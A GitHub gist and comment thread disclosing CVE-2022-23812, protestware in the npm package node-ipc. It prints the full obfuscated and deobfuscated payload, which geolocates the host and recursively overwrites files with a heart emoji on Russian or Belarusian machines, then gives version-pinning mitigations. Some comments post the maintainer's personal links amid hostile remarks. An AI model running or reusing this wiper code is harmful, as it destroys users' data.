Skip to content

Instantly share code, notes, and snippets.

@MidSpike
Last active January 29, 2025 18:02
Show Gist options
  • Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

RIAEvangelist/node-ipc is malware / protestware

The RIAEvangelist/node-ipc module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.


More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 of RIAEvangelist/node-ipc contains malware.


⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

The following codeblock was added in-case the url above is deactivated
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

⚠️| The above code is malicious, DO NOT RUN IT


I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:


⚠️| The following code is malicious, DO NOT RUN IT

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };

⚠️| The above code is malicious, DO NOT RUN IT


The following are excerpts from the malicious code:

Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`

The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8") would be:

image


Edit 2022-03-16_0

Comment by zkyf

Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Console: image


Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181

If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the specified version.

"^9.x.x" -> "9.2.1"

     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }

"^10.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }

"^11.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }

3rd-party mitigation methods:


Edit 2022-03-16_2 (requested by @lgg)

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc:

package.json

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of node-ipc: MidSpike/node-ipc#1

@Uzlopak
Copy link

Uzlopak commented Mar 17, 2022

@MidSpike

Also you could add information about yarn
https://classic.yarnpkg.com/lang/en/docs/selective-version-resolutions/

Also don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

@MidSpike
Copy link
Author

Updated gist to include suggestions by @Uzlopak

@TheFrenchGhosty
Copy link

@MidSpike Thank you for those research.

I did mention it on the r/selfhosted post: https://old.reddit.com/r/selfhosted/comments/tge5xa/npm_supply_chain_attack_wipes_your_disk_if_you/

@lgg
Copy link

lgg commented Mar 17, 2022

@meisme-dev it's most likely fake. Account is newly registered with only this post, no documents or real contacts or proofs provided (like everyone do when it's a real abuse).

Also the api key for geoip service was rapidly deactivated and malicious code just creates a file on Desktop.

@MidSpike
Copy link
Author

MidSpike commented Mar 17, 2022

Also the api key for geoip service was rapidly deactivated

I've said this a few times before, but I want to say it again so other people that read this will know.

The api key for the ipinfo service was 100% functional at the time of my testing on March 15th 2022.

The real issue here is that the repository owner is not trustworthy at all anymore.

Edit: modified comment to not sound like an asshat, I'm not trying to be rude, sorry about that.

@lgg
Copy link

lgg commented Mar 17, 2022

@MidSpike this gist referenced on IT news portal: https://habr.com/ru/news/t/656219/ 🎉

@kiliman
Copy link

kiliman commented Mar 17, 2022

@MidSpike btw are you sure you were banned from the repo? GitHub was experiencing issues today so nobody could do things like comment, etc. I got the same message "You can't perform this action at this time." as well in my own repo.

@Uzlopak
Copy link

Uzlopak commented Mar 17, 2022

If you are banned you cannot even type into the textarea box.

@MidSpike
Copy link
Author

@kiliman I'm pretty sure that I'm still banned (or blocked) by the repo owner.

Unable to add new comments.

image

Unable to edit reactions.

image

Also I've been shadow-banned from getting notifications from any of the author's repositories.

image

@kiliman
Copy link

kiliman commented Mar 17, 2022

Ah, ok. So yeah, if he's seeing that instead of the comment box, then definitely banned.

I got the message once I tried to submit the comment. Everything appears to be working fine now.

Anyway, thanks for keeping us all informed on developments.

@noblehng
Copy link

noblehng commented Mar 17, 2022

The wider problem is that distributed trust model doesn't work. Maintainers could put/pull in malicious codes by all kind of reasons or be compromised.

There should be a more centralised effort at the package manager hub level to raise the security bar for core/popular packages. Now that it seems Microsoft owns npm, maybe they can lead the effort.

@forresthopkinsa
Copy link

That code is not actually able to execute unless you modify it to make it so.

This doesn't make any sense at all. Of course it's able to execute. The file is directly imported from IPC.js. ES Module imports are resolved at program startup, running all top-level code synchronously. Why wouldn't the file execute?

Copy link

ghost commented Mar 17, 2022

I am banned too, @MidSpike i see the same thing as you

@forresthopkinsa
Copy link

There have already been some catastrophic effects of this CVE: https://snippet.host/kvcb

@TheFrenchGhosty
Copy link

TheFrenchGhosty commented Mar 17, 2022

Banned too, they didn't like that: https://github.com/RIAEvangelist/node-ipc/issues/233#issuecomment-1071529143

He's trying to do damage control.

Copy link

ghost commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

@Myrkie
Copy link

Myrkie commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

the guy who made the repo invalidated the APIKey after he was caught so to try to cover his arse.

@MidSpike
Copy link
Author

MidSpike commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

@majorendian after some testing, (while the api-key is invalid), the only condition in which the malware would still execute is if the ipinfo api send back a response with country_name in the body after json parsing.

image
(ignore the line numbers as I have comments littering the code)

image

@forresthopkinsa
Copy link

I've joined the banned club 🎉

image

Copy link

ghost commented Mar 17, 2022

@MidSpike Ok, well that effectively means its disarmed if I am not mistaken

@MidSpike
Copy link
Author

MidSpike commented Mar 17, 2022

@majorendian I would err on the side of caution, all it takes for this specific malware to become armed again is for the api-key to be re-enabled.
Apart from that, the real concern should be with how projects manage their dependencies and how we as developers should conduct security evaluations.

@romanberdnikov
Copy link

Such people should be banned from any professional community permanently. It's one thing to call people to peace/restrict your services, and another thing to harm them. Imagine that someone puts a drawing pin on your chair - just because you are working with a Russian hosting company. Or a doctor will inject you a wrong medicine because he didn't like you.

Once they've been caught they make an innocent face, well, you need to look at the chair and check what medicine you have! And try to shut your mouth. That's ridiculous

Copy link

ghost commented Mar 17, 2022

image

He also edited my issue so that there is no content LOL man needs to read damage control 101 ASAP

@RigoOnRails
Copy link

RigoOnRails commented Mar 17, 2022

Here's his YouTube channel with his face: https://www.youtube.com/brandonnozakimiller

What he did was incredibly stupid & irresponsible.

@jellelicht
Copy link

jellelicht commented Mar 17, 2022

There have already been some catastrophic effects of this CVE: https://snippet.host/kvcb

This has to be fake.
Folks employed at this NGO should be tried for being criminally negligent. “Let’s keep records about a hostile, dictatorial regime stored on one server on one hard drive in their territory” is so stupid, it’s not even funny.
(Edit: formatting)

@Khodyn
Copy link

Khodyn commented Mar 17, 2022

Here's his self-created Wikipedia page and the page history, where you can see him creating it.

@MidSpike
Copy link
Author

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories).
We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812.
I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

@aphix
Copy link

aphix commented Mar 18, 2022

There have already been some catastrophic effects of this CVE: snippet.host/kvcb

This has to be fake. Folks employed at this NGO should be tried for being criminally negligent. “Let’s keep records about a hostile, dictatorial regime stored on one server on one hard drive in their territory” is so stupid, it’s not even funny. (Edit: formatting)

Being that the wider internet has been literally blocking access in and out of Russia, and Russia itself also has a form of digital-iron curtain in and out of it's wider networks, it's totally reasonable to assume that was not only the fastest, but safest and most reliable solution. On top of that, the same issue could be triggered via a VPN mistake, or by refugees having nowhere else to go, then having their drives wiped because they used some software when they finally escaped to safety in, say, Belarus.

Whether the NGO story is true or not, it's totally possible for collateral damage just like it (and/or even more innocent circumstances). In either case, I would say the package maintainer is wholly to blame, not the potential victim(s).

@lanmower
Copy link

If you used to like node-ipc, try hyper-ipc... its pretty cool, you can ipc behind nats without forwarding, you can move nodes without ip changes, ground-breaking.

If you got hit using vue.js, try nobuild style app making its awesome! I've been using riot.js with zero build tools for two years now, and never looked back, there is no easier way to build apps.

Don't look back! build back better!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment